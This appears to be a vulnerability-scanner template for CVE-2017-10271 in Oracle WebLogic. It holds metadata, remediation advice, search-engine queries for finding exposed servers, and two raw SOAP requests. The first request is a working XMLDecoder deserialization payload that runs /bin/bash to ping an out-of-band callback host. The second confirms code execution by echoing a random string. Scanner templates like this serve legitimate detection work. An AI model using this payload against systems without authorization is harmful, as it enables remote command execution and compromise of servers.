Oracle WebLogic Server - Remote Command Execution

id: CVE-2017-10271

info:
  name: Oracle WebLogic Server - Remote Command Execution
  author: dr_set,ImNightmaree,true13
  severity: high
  description: |
    The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
  remediation: |
    Apply the latest security patches provided by Oracle to fix this vulnerability. Additionally, restrict network access to the WebLogic server and implement strong authentication mechanisms.
  reference:
    - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
    - https://github.com/SuperHacker-liuan/cve-2017-10271-poc
    - http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-10271
    - http://www.securitytracker.com/id/1039608
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2017-10271
    epss-score: 0.99994
    epss-percentile: 0.99988
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - http.title:"oracle peoplesoft sign-in"
      - product:"oracle weblogic"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: cve,cve2017,weblogic,oast,kev,vulhub,rce,oracle,vkev,vuln

http:
  - raw:
      - |
        POST /wls-wsat/CoordinatorPortType HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: text/xml

        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header>
                <work:WorkContext
                    xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                    <string>ping -c 1 {{interactsh-url}}</string>
                                </void>
                            </array>
                            <void method="start"/></void>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
            <soapenv:Body/>
        </soapenv:Envelope>
      - |
        POST /wls-wsat/CoordinatorPortType HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: text/xml

        <?xml version="1.0" encoding="utf-8"?>
          <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
              <soapenv:Header>
                  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                      <java>
                          <void class="java.lang.Thread" method="currentThread">
                              <void method="getCurrentWork">
                                  <void method="getResponse">
                                      <void method="getServletOutputStream">
                                          <void method="flush"/>
                                      </void>
                                      <void method="getWriter"><void method="write"><string>{{randstr}}</string></void></void>
                                  </void>
                              </void>
                          </void>
                      </java>
                  </work:WorkContext>
              </soapenv:Header>
              <soapenv:Body/>
        </soapenv:Envelope>

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - regex("<faultstring>java.lang.ProcessBuilder || <faultstring>0", body)
          - contains(interactsh_protocol, "dns")
          - status_code == 500
        condition: and

      - type: dsl
        dsl:
          - body == "{{randstr}}"
          - status_code == 200
        condition: and